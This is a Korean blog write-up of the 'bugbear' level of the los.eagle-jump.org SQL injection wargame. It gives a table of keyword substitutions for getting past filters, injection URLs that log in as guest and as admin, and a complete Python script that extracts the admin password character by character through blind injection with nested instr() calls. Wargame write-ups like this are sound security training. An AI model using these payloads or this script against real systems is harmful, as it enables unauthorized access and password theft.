White Security
Bugbear 문제풀이 본문
los.eagle-jump.org 의 13번 문제입니다.
이전 문제와 비슷하지만
no 인자에 필터링되는 단어들이 늘어났습니다.
' : "
substr : mid
ascii : ord
= : instr
or : ||
and : &&
like : instr
0x : "
등으로 각각 대체 가능합니다.
https://los.eagle-jump.org/bugbear.php?no=-1||1
no 에 ||1 을 집어넣으면 guest 로 로그인 가능합니다.
https://los.eagle-jump.org/bugbear.php?no=-1||instr(id,"admin")
instr 을 통해 id를 admin 단어가 들어가는 것으로 한정하자
admin으로 로그인이 가능했습니다.
https://los.eagle-jump.org/bugbear.php?no=-1||instr(id,"admin")&&instr(instr(pw,"<password here>"),1)
instr(pw,"<password>") 는 password가 pw에
포함되지 않으면 0
포함되면 그 위치를 반환해 줍니다.
따라서 pw의 ascii 문자들을 모두 넣어보다가
1이 나오는 순간이 있으면
그때 사용한 문자가 바로 pw의 첫번째 문자입니다.
그리고 찾아낸 문자에 또 다른 문자를 붙여가면서
instr을 하다보면 결국 pw를 모두 알아낼 수 있습니다.
우리는 instr(pw, "<password>") 이
1을 반환하는 순간을 알고자 하므로
instr(instr(pw, "<password>"), 1) 을 통해
내부의 instr 반환값이 1인 경우를 찾아낼 수 있습니다.
from urllib import request, parse
import sys
char_list = 'abcdefghijklmnopqrstuvxyz0123456789'
def check_true(response): return (response.find(b'Hello admin') != -1);
def instr_query(string):
url = 'https://los.eagle-jump.org/bugbear_431917ddc1dec75b4d65a23bd39689f8.php?no='
url += parse.quote('-1||instr(id,"admin")&&instr(instr(pw,"%s"),1)' % string)
req = request.Request(url)
req.add_header('Cookie', 'PHPSESSID=qus0d9r31j3mjc9aao7p1o0k30;')
req.add_header('user-agent','Mozilla/5.0')
response = None
while response is None:
try:
response = request.urlopen(req)
except:
pass
output = response.read()
return check_true(output)
pw = ''
while True:
found = False
for c in char_list:
if instr_query(pw + c):
pw += c
found = True
sys.stdout.write('\r' + pw)
break
if not found: break
sys.stdout.write('\n')
취약점을 기반으로 작성한 파이썬3 스크립트 입니다.
모든 ascii 문자열을 넣어도 1을 반환하는 경우가 없을 경우
( pw 값을 모두 찾았을 때 )
종료하도록 했습니다.
'Wargame Writeups > los.eagle-jump.org' 카테고리의 다른 글
| Assassin 문제풀이 (0) | 2019.01.31 |
|---|---|
| Giant 문제풀이 (0) | 2019.01.31 |
| Darkknight 문제풀이 (0) | 2019.01.30 |
| Golem 문제풀이 (0) | 2019.01.30 |
| Skeleton 문제풀이 (0) | 2019.01.30 |
Comments